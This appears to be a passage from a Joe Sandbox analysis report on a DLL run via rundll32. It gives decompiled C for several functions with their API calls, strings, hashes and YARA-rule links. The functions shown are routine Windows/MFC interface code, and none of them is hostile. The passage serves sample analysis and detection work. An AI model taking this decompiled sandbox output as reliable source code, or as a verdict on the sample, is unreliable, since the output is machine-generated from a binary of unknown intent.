Instruction Fuzzy Hash: BD118E7450060AAFE710EF65DC8AC1BBBB9FF04354720C128F4599A566CB30ECA0CB50

Uniqueness

Uniqueness Score: -1.00%

Function 10013810, Relevance: 10.5, APIs: 7, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10013810(void* __ecx) {
				struct HBRUSH__* _t14;
				void* _t18;

				_t18 = __ecx;
				 *((intOrPtr*)(_t18 + 0x28)) = GetSysColor(0xf);
				 *((intOrPtr*)(_t18 + 0x2c)) = GetSysColor(0x10);
				 *((intOrPtr*)(_t18 + 0x30)) = GetSysColor(0x14);
				 *((intOrPtr*)(_t18 + 0x34)) = GetSysColor(0x12);
				 *((intOrPtr*)(_t18 + 0x38)) = GetSysColor(6);
				 *((intOrPtr*)(_t18 + 0x24)) = GetSysColorBrush(0xf);
				_t14 = GetSysColorBrush(6);
				 *(_t18 + 0x20) = _t14;
				return _t14;
			}

0x1001381a
0x10013820
0x10013827
0x1001382e
0x10013835
0x10013842
0x10013849
0x1001384c
0x1001384f
0x10013853

APIs

GetSysColor.USER32(0000000F), ref: 1001381C
GetSysColor.USER32(00000010), ref: 10013823
GetSysColor.USER32(00000014), ref: 1001382A
GetSysColor.USER32(00000012), ref: 10013831
GetSysColor.USER32(00000006), ref: 10013838
GetSysColorBrush.USER32(0000000F), ref: 10013845
GetSysColorBrush.USER32(00000006), ref: 1001384C

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: ec9fc2993fab2a5d820fe3d8a281f31af429397108a6c3a84ca499368f54399a
Instruction ID: 74b272bfbd302397870cb0a2abf86f81c97ca9371361d4e5ce15514e9afb48cd
Opcode Fuzzy Hash: ec9fc2993fab2a5d820fe3d8a281f31af429397108a6c3a84ca499368f54399a
Instruction Fuzzy Hash: E8F01C71940748ABE730BF728D49B47BAE5FFC4B10F12092ED2858BA90E6B6E041DF40

Uniqueness

Uniqueness Score: -1.00%

Function 10028DE5, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 24
registrywindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10028DE5() {
				long _t5;
				int _t6;

				if((0x80000000 & GetVersion()) == 0 || GetVersion() != 4) {
					_t5 = GetVersion();
					if((0x80000000 & _t5) != 0) {
						L5:
						 *0x1005acc4 =  *0x1005acc4 & 0x00000000;
						return _t5;
					}
					_t5 = GetVersion();
					if(_t5 != 3) {
						goto L5;
					}
					goto L4;
				} else {
					L4:
					_t6 = RegisterWindowMessageA("MSWHEEL_ROLLMSG");
					 *0x1005acc4 = _t6;
					return _t6;
				}
			}

0x10028df6
0x10028e00
0x10028e04
0x10028e20
0x10028e20
0x00000000
0x10028e20
0x10028e06
0x10028e0c
0x00000000
0x00000000
0x00000000
0x10028e0e
0x10028e0e
0x10028e13
0x10028e19
0x00000000
0x10028e19

APIs

GetVersion.KERNEL32 ref: 10028DED
GetVersion.KERNEL32 ref: 10028DF8
GetVersion.KERNEL32 ref: 10028E00
GetVersion.KERNEL32 ref: 10028E06
RegisterWindowMessageA.USER32(MSWHEEL_ROLLMSG), ref: 10028E13

Strings

MSWHEEL_ROLLMSG, xrefs: 10028E0E

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Version$MessageRegisterWindow
String ID: MSWHEEL_ROLLMSG
API String ID: 303823969-2485103130
Opcode ID: 85f3e66c9038b440300e9b11d08aab107bdf81c33b47830274e071894da04cd4
Instruction ID: a1cfe5ae80d7d924f96357e0403be069d270e7200ca7c890729efff85db7b39d
Opcode Fuzzy Hash: 85f3e66c9038b440300e9b11d08aab107bdf81c33b47830274e071894da04cd4
Instruction Fuzzy Hash: 34E0D83E80213792F700A374AD0034939D5DB442E0F930066ED0042258CB24098747A5

Uniqueness

Uniqueness Score: -1.00%

Function 1000C209, Relevance: 9.1, APIs: 6, Instructions: 115
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E1000C209(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t37;
				signed int _t54;
				intOrPtr _t57;
				long _t60;
				struct HWND__* _t63;
				CHAR* _t64;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				long _t73;
				void* _t74;
				void* _t75;
				signed int _t77;
				void* _t78;
				signed int _t79;
				void* _t81;

				_t71 = __edx;
				_t79 = _t81 - 0x9c;
				_t37 =  *0x10057a08; // 0xef7d8b91
				 *(_t79 + 0x98) = _t37 ^ _t79;
				_t73 =  *(_t79 + 0xa4);
				_t77 = 0;
				 *((intOrPtr*)(_t79 - 0x80)) =  *((intOrPtr*)(_t79 + 0xa8));
				E1000C12A(0);
				_t67 = _t72;
				_t63 = E1000C15E(0, _t79 - 0x70);
				 *(_t79 - 0x7c) = _t63;
				if(_t63 !=  *(_t79 - 0x70)) {
					EnableWindow(_t63, 1);
				}
				 *(_t79 - 0x78) =  *(_t79 - 0x78) & _t77;
				GetWindowThreadProcessId(_t63, _t79 - 0x78);
				if(_t63 == 0 ||  *(_t79 - 0x78) != GetCurrentProcessId()) {
					L6:
					__eflags = _t73;
					if(__eflags != 0) {
						_t77 = _t73 + 0x78;
					}
					goto L8;
				} else {
					_t60 = SendMessageA(_t63, 0x376, 0, 0);
					if(_t60 == 0) {
						goto L6;
					} else {
						_t77 = _t60;
						L8:
						 *(_t79 - 0x74) =  *(_t79 - 0x74) & 0x00000000;
						if(_t77 != 0) {
							 *(_t79 - 0x74) =  *_t77;
							_t57 =  *((intOrPtr*)(_t79 + 0xb0));
							if(_t57 != 0) {
								 *_t77 = _t57 + 0x30000;
							}
						}
						if(( *(_t79 + 0xac) & 0x000000f0) == 0) {
							_t54 =  *(_t79 + 0xac) & 0x0000000f;
							if(_t54 <= 1) {
								_t24 = _t79 + 0xac;
								 *_t24 =  *(_t79 + 0xac) | 0x00000030;
								__eflags =  *_t24;
							} else {
								if(_t54 + 0xfffffffd <= 1) {
									 *(_t79 + 0xac) =  *(_t79 + 0xac) | 0x00000020;
								}
							}
						}
						_t96 = _t73;
						 *(_t79 - 0x6c) = 0;
						if(_t73 == 0) {
							_t64 = _t79 - 0x6c;
							_t73 = 0x104;
							__eflags = GetModuleFileNameA(0, _t64, 0x104) - 0x104;
							if(__eflags == 0) {
								 *((char*)(_t79 + 0x97)) = 0;
							}
						} else {
							_t64 =  *(_t73 + 0x50);
						}
						_push( *(_t79 + 0xac));
						_push(_t64);
						_push( *((intOrPtr*)(_t79 - 0x80)));
						_push( *(_t79 - 0x7c));
						_t74 = E1000C093(_t64, _t67, _t73, _t77, _t96);
						if(_t77 != 0) {
							 *_t77 =  *(_t79 - 0x74);
						}
						if( *(_t79 - 0x70) != 0) {
							EnableWindow( *(_t79 - 0x70), 1);
						}
						E1000C12A(1);
						_pop(_t75);
						_pop(_t78);
						_pop(_t65);
						return E100167D5(_t74, _t65,  *(_t79 + 0x98) ^ _t79, _t71, _t75, _t78);
					}
				}
			}

APIs

Part of subcall function 1000C15E: GetParent.USER32(100014EC), ref: 1000C1B1
Part of subcall function 1000C15E: GetLastActivePopup.USER32(100014EC), ref: 1000C1C0
Part of subcall function 1000C15E: IsWindowEnabled.USER32(100014EC), ref: 1000C1D5
Part of subcall function 1000C15E: EnableWindow.USER32(100014EC,00000000), ref: 1000C1E8

EnableWindow.USER32(?,00000001), ref: 1000C256
GetWindowThreadProcessId.USER32(?,?), ref: 1000C264
GetCurrentProcessId.KERNEL32 ref: 1000C26E
SendMessageA.USER32 ref: 1000C283
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1000C300
EnableWindow.USER32(?,00000001), ref: 1000C33C

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Window$Enable$Process$ActiveCurrentEnabledFileLastMessageModuleNameParentPopupSendThread
String ID:
API String ID: 1877664794-0
Opcode ID: d475a19da1505cd8c491af7de1dd181a650697f179afdcdb5f27c752af681c02
Instruction ID: 906afa4fd5bad6b09c7d7bb12576003d117f5a582180c2333a3862cf80afbe79
Opcode Fuzzy Hash: d475a19da1505cd8c491af7de1dd181a650697f179afdcdb5f27c752af681c02
Instruction Fuzzy Hash: A1416A32A0035C9FFB31CFA58C85FDD7BA8EF05390F210129E949AB286D7709A408B50

Uniqueness

Uniqueness Score: -1.00%

Function 1000C15E, Relevance: 9.1, APIs: 6, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000C15E(struct HWND__* _a4, struct HWND__** _a8) {
				struct HWND__* _t7;
				void* _t13;
				struct HWND__** _t15;
				struct HWND__* _t16;
				struct HWND__* _t17;
				struct HWND__* _t18;

				_t18 = _a4;
				_t17 = _t18;
				if(_t18 != 0) {
					L5:
					if((GetWindowLongA(_t17, 0xfffffff0) & 0x40000000) == 0) {
						L8:
						_t16 = _t17;
						_t7 = _t17;
						if(_t17 == 0) {
							L10:
							if(_t18 == 0 && _t17 != 0) {
								_t17 = GetLastActivePopup(_t17);
							}
							_t15 = _a8;
							if(_t15 != 0) {
								if(_t16 == 0 || IsWindowEnabled(_t16) == 0 || _t16 == _t17) {
									 *_t15 =  *_t15 & 0x00000000;
								} else {
									 *_t15 = _t16;
									EnableWindow(_t16, 0);
								}
							}
							return _t17;
						} else {
							goto L9;
						}
						do {
							L9:
							_t16 = _t7;
							_t7 = GetParent(_t7);
						} while (_t7 != 0);
						goto L10;
					}
					_t17 = GetParent(_t17);
					L7:
					if(_t17 != 0) {
						goto L5;
					}
					goto L8;
				}
				_t13 = E1000C087();
				if(_t13 != 0) {
					L4:
					_t17 =  *(_t13 + 0x20);
					goto L7;
				}
				_t13 = E1000A7CE();
				if(_t13 != 0) {
					goto L4;
				}
				_t17 = 0;
				goto L8;
			}

APIs

GetWindowLongA.USER32 ref: 1000C190
GetParent.USER32(100014EC), ref: 1000C19E
GetParent.USER32(100014EC), ref: 1000C1B1
GetLastActivePopup.USER32(100014EC), ref: 1000C1C0
IsWindowEnabled.USER32(100014EC), ref: 1000C1D5
EnableWindow.USER32(100014EC,00000000), ref: 1000C1E8

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 716a915a51b72e7755bd765e65025d5e7cdfb43fa73cbfe2d9e3b7854765710c
Instruction ID: b03ffd99d979528eb1576ebd7f6c5d6629826c0934e428a14188cd3025a76a69
Opcode Fuzzy Hash: 716a915a51b72e7755bd765e65025d5e7cdfb43fa73cbfe2d9e3b7854765710c
Instruction Fuzzy Hash: CC11A33264533A57F221DB698C80F9A72ECDF4BAD0F260129FC44E329ADB60DC0242D5

Uniqueness

Uniqueness Score: -1.00%

Function 1001411A, Relevance: 9.0, APIs: 6, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E1001411A(struct HWND__* _a4, struct tagPOINT _a8, intOrPtr _a12) {
				struct tagRECT _v20;
				struct HWND__* _t12;
				struct HWND__* _t21;

				ClientToScreen(_a4,  &_a8);
				_push(5);
				_push(_a4);
				while(1) {
					_t12 = GetWindow();
					_t21 = _t12;
					if(_t21 == 0) {
						break;
					}
					if(GetDlgCtrlID(_t21) != 0 && (GetWindowLongA(_t21, 0xfffffff0) & 0x10000000) != 0) {
						GetWindowRect(_t21,  &_v20);
						_push(_a12);
						if(PtInRect( &_v20, _a8) != 0) {
							return _t21;
						}
					}
					_push(2);
					_push(_t21);
				}
				return _t12;
			}

APIs

ClientToScreen.USER32(?,?), ref: 10014129
GetDlgCtrlID.USER32(00000000), ref: 1001413D
GetWindowLongA.USER32 ref: 1001414B
GetWindowRect.USER32 ref: 1001415D
PtInRect.USER32(?,?,?), ref: 1001416D
GetWindow.USER32(?,00000005), ref: 1001417A

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: fd09e00dcf5aea0f889a5d5334f0ce8489c3ad9d17b5f7afd937dd6b6d05cc64
Instruction ID: 106842abd73dbf2249684b53af78e8d9c6ae05809ec90903e9ae8d6f26667822
Opcode Fuzzy Hash: fd09e00dcf5aea0f889a5d5334f0ce8489c3ad9d17b5f7afd937dd6b6d05cc64
Instruction Fuzzy Hash: AA014F36500126BBDB12DF658C48EDE77ACEF15791F124114F911AA1A0DB30DA82CA94

Uniqueness

Uniqueness Score: -1.00%

Function 10012406, Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 234
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E10012406(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, signed int _a4) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				char* _v20;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v40;
				intOrPtr _v52;
				signed int _v56;
				void* __ebp;
				intOrPtr _t122;
				void* _t128;
				intOrPtr _t130;
				signed int _t139;
				signed int _t144;
				signed int _t175;
				signed int _t177;
				signed int _t179;
				signed int _t181;
				signed int _t183;
				signed int _t187;
				void* _t190;
				intOrPtr _t191;
				signed int _t201;

				_t190 = __ecx;
				_t122 = E1000D5EC(__ebx, __edi, __esi, __eflags);
				_v8 = _t122;
				_t3 =  &_a4;
				 *_t3 = _a4 &  !( *(_t122 + 0x18));
				if( *_t3 == 0) {
					return 1;
				}
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t201 = 0;
				E100174D0(0,  &_v56, 0, 0x28);
				_v52 = DefWindowProcA;
				_t128 = E1000D5EC(__ebx, 0, 0, __eflags);
				__eflags = _a4 & 0x00000001;
				_v40 =  *((intOrPtr*)(_t128 + 8));
				_t130 =  *0x1005aa70; // 0x10003
				_t187 = 8;
				_v32 = _t130;
				_v16 = _t187;
				if(__eflags != 0) {
					_push( &_v56);
					_v56 = 0xb;
					_v20 = "AfxWnd80s";
					_t183 = E10012222(_t187, _t190, 0, 0, __eflags);
					__eflags = _t183;
					if(_t183 != 0) {
						_t201 = 1;
						__eflags = 1;
					}
				}
				__eflags = _a4 & 0x00000020;
				if(__eflags != 0) {
					_v56 = _v56 | 0x0000008b;
					_push( &_v56);
					_v20 = "AfxOleControl80s";
					_t181 = E10012222(_t187, _t190, 0, _t201, __eflags);
					__eflags = _t181;
					if(_t181 != 0) {
						_t201 = _t201 | 0x00000020;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & 0x00000002;
				if(__eflags != 0) {
					_push( &_v56);
					_v56 = 0;
					_v20 = "AfxControlBar80s";
					_v28 = 0x10;
					_t179 = E10012222(_t187, _t190, 0, _t201, __eflags);
					__eflags = _t179;
					if(_t179 != 0) {
						_t201 = _t201 | 0x00000002;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & 0x00000004;
				if(__eflags != 0) {
					_v56 = _t187;
					_v28 = 0;
					_t177 = E100123C5(_t190, __eflags,  &_v56, "AfxMDIFrame80s", 0x7a01);
					__eflags = _t177;
					if(_t177 != 0) {
						_t201 = _t201 | 0x00000004;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & _t187;
				if(__eflags != 0) {
					_v56 = 0xb;
					_v28 = 6;
					_t175 = E100123C5(_t190, __eflags,  &_v56, "AfxFrameOrView80s", 0x7a02);
					__eflags = _t175;
					if(_t175 != 0) {
						_t201 = _t201 | _t187;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & 0x00000010;
				if(__eflags != 0) {
					_v12 = 0xff;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x3fc0);
					_t48 =  &_a4;
					 *_t48 = _a4 & 0xffffc03f;
					__eflags =  *_t48;
				}
				__eflags = _a4 & 0x00000040;
				if(__eflags != 0) {
					_v12 = 0x10;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x40);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000080;
				if(__eflags != 0) {
					_v12 = 2;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x80);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000100;
				if(__eflags != 0) {
					_v12 = _t187;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x100);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000200;
				if(__eflags != 0) {
					_v12 = 0x20;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x200);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000400;
				if(__eflags != 0) {
					_v12 = 1;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x400);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000800;
				if(__eflags != 0) {
					_v12 = 0x40;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x800);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00001000;
				if(__eflags != 0) {
					_v12 = 4;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x1000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00002000;
				if(__eflags != 0) {
					_v12 = 0x80;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x2000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00004000;
				if(__eflags != 0) {
					_v12 = 0x800;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x4000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00008000;
				if(__eflags != 0) {
					_v12 = 0x400;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x8000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00010000;
				if(__eflags != 0) {
					_v12 = 0x200;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x10000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00020000;
				if(__eflags != 0) {
					_v12 = 0x100;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x20000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00040000;
				if(__eflags != 0) {
					_v12 = 0x8000;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x40000);
					__eflags = _t201;
				}
				_t191 = _v8;
				 *(_t191 + 0x18) =  *(_t191 + 0x18) | _t201;
				_t139 =  *(_t191 + 0x18);
				__eflags = (_t139 & 0x00003fc0) - 0x3fc0;
				if((_t139 & 0x00003fc0) == 0x3fc0) {
					 *(_t191 + 0x18) = _t139 | 0x00000010;
					_t201 = _t201 | 0x00000010;
					__eflags = _t201;
				}
				asm("sbb eax, eax");
				_t144 =  ~((_t201 & _a4) - _a4) + 1;
				__eflags = _t144;
				return _t144;
			}

APIs

_memset.LIBCMT ref: 10012434

Strings

AfxMDIFrame80s, xrefs: 100124D5
@, xrefs: 10012540
AfxFrameOrView80s, xrefs: 100124FA
@, xrefs: 100125D9

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: _memset
String ID: @$@$AfxFrameOrView80s$AfxMDIFrame80s
API String ID: 2102423945-4122032997
Opcode ID: 6a965a47b8202c06a0f9d29b019c3ce5b36ca544f607173cb73e005fb23cc034
Instruction ID: 475a3f3acc0ffbf0912b6f4f501dab117ae518df3bc7e116c44220daacf7d2ae
Opcode Fuzzy Hash: 6a965a47b8202c06a0f9d29b019c3ce5b36ca544f607173cb73e005fb23cc034
Instruction Fuzzy Hash: 658130B5D00259AADB41CFA4C581BDEBBF8FF08384F118165F949EA181E774DAD4CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 100017E0, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 134windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1000C4C7: _memset.LIBCMT ref: 1000C4DE

_strlen.LIBCMT ref: 100018FF
_strlen.LIBCMT ref: 10001971
_strlen.LIBCMT ref: 100019B6
LoadIconA.USER32 ref: 100019FD

Strings

127.0.0.1, xrefs: 100018E8, 100018FA, 1000190E

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: _strlen$IconLoad_memset
String ID: 127.0.0.1
API String ID: 858515944-3619153832
Opcode ID: e9afa9abf4479f427d282929ffcd92459c0614fc8bef9fc4e3152ff44be5b39a
Instruction ID: 391a885bd144bb184e99009df4bcd3f8a2a5cd6933164126564d3f2e09fb5126
Opcode Fuzzy Hash: e9afa9abf4479f427d282929ffcd92459c0614fc8bef9fc4e3152ff44be5b39a
Instruction Fuzzy Hash: 835106B4D04298DBEB14CFA4D891B9DBBB1EF44344F1081A9E50D6B386DB356E44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1001486F, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 126
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E1001486F(void* __ebx, void** __ecx, void* __edx, void* __esi, char* _a4, short _a8) {
				signed int _v8;
				short _v72;
				char* _v76;
				signed int _v80;
				signed int* _v84;
				signed int _v88;
				intOrPtr _v92;
				void* __edi;
				void* __ebp;
				signed int _t54;
				void* _t66;
				short* _t70;
				signed int _t72;
				signed int _t81;
				signed int* _t83;
				short* _t84;
				void* _t91;
				signed int* _t98;
				signed int _t99;
				void** _t100;
				intOrPtr _t102;
				signed int _t104;
				signed int _t106;
				void* _t107;

				_t101 = __esi;
				_t97 = __edx;
				_t82 = __ebx;
				_t54 =  *0x10057a08; // 0xef7d8b91
				_v8 = _t54 ^ _t106;
				_t100 = __ecx;
				_v76 = _a4;
				if(__ecx[1] != 0) {
					_push(__ebx);
					_push(__esi);
					_t83 = GlobalLock( *__ecx);
					_v84 = _t83;
					_v88 = 0 | _t83[0] == 0x0000ffff;
					_v80 = E100146B2(_t83);
					_t102 = (0 | _v88 != 0x00000000) + (0 | _v88 != 0x00000000) + 1 + (0 | _v88 != 0x00000000) + (0 | _v88 != 0x00000000) + 1;
					_v92 = _t102;
					if(_v88 == 0) {
						 *_t83 =  *_t83 | 0x00000040;
					} else {
						_t83[3] = _t83[3] | 0x00000040;
					}
					if(lstrlenA(_v76) >= 0x20) {
						L15:
						_t66 = 0;
					} else {
						_t97 = _t102 + MultiByteToWideChar(0, 0, _v76, 0xffffffff,  &_v72, 0x20) * 2;
						_v76 = _t97;
						if(_t97 < _t102) {
							goto L15;
						} else {
							_t70 = E100146DD(_t83);
							_t91 = 0;
							_t84 = _t70;
							if(_v80 != 0) {
								_t81 = E100169F6(_t84 + _t102);
								_t97 = _v76;
								_t91 = _t102 + 2 + _t81 * 2;
							}
							_t33 = _t97 + 3; // 0x3
							_t98 = _v84;
							_t36 = _t84 + 3; // 0x10002
							_t72 = _t91 + _t36 & 0xfffffffc;
							_t104 = _t84 + _t33 & 0xfffffffc;
							_v80 = _t72;
							if(_v88 == 0) {
								_t99 =  *(_t98 + 8) & 0x0000ffff;
							} else {
								_t99 =  *(_t98 + 0x10) & 0x0000ffff;
							}
							if(_v76 == _t91 || _t99 <= 0) {
								L17:
								 *_t84 = _a8;
								_t97 =  &_v72;
								E100147F2(_t84 + _v92, _t100, _t104, _t106, _t84 + _v92, _v76 - _v92,  &_v72, _v76 - _v92);
								_t100[1] = _t100[1] + _t104 - _v80;
								GlobalUnlock( *_t100);
								_t100[2] = _t100[2] & 0x00000000;
								_t66 = 1;
							} else {
								_t97 = _t100[1];
								_t95 = _t97 - _t72 + _v84;
								if(_t97 - _t72 + _v84 <= _t97) {
									E100147F2(_t84, _t100, _t104, _t106, _t104, _t95, _t72, _t95);
									_t107 = _t107 + 0x10;
									goto L17;
								} else {
									goto L15;
								}
							}
						}
					}
					_pop(_t101);
					_pop(_t82);
				} else {
					_t66 = 0;
				}
				return E100167D5(_t66, _t82, _v8 ^ _t106, _t97, _t100, _t101);
			}

APIs

GlobalLock.KERNEL32 ref: 10014899
lstrlenA.KERNEL32(?), ref: 100148E1
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000020), ref: 100148FB

Strings

System, xrefs: 10014895

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: ByteCharGlobalLockMultiWidelstrlen
String ID: System
API String ID: 1529587224-3470857405
Opcode ID: 5539861cf9964bd4a1f8d2b85f820bea2489ddcf645bd320d082abb330923d9c
Instruction ID: 74ffa1d7f554f06ed3380e5a1b3eb1278af2c0b09513685a0b874fafc39ddc5e
Opcode Fuzzy Hash: 5539861cf9964bd4a1f8d2b85f820bea2489ddcf645bd320d082abb330923d9c
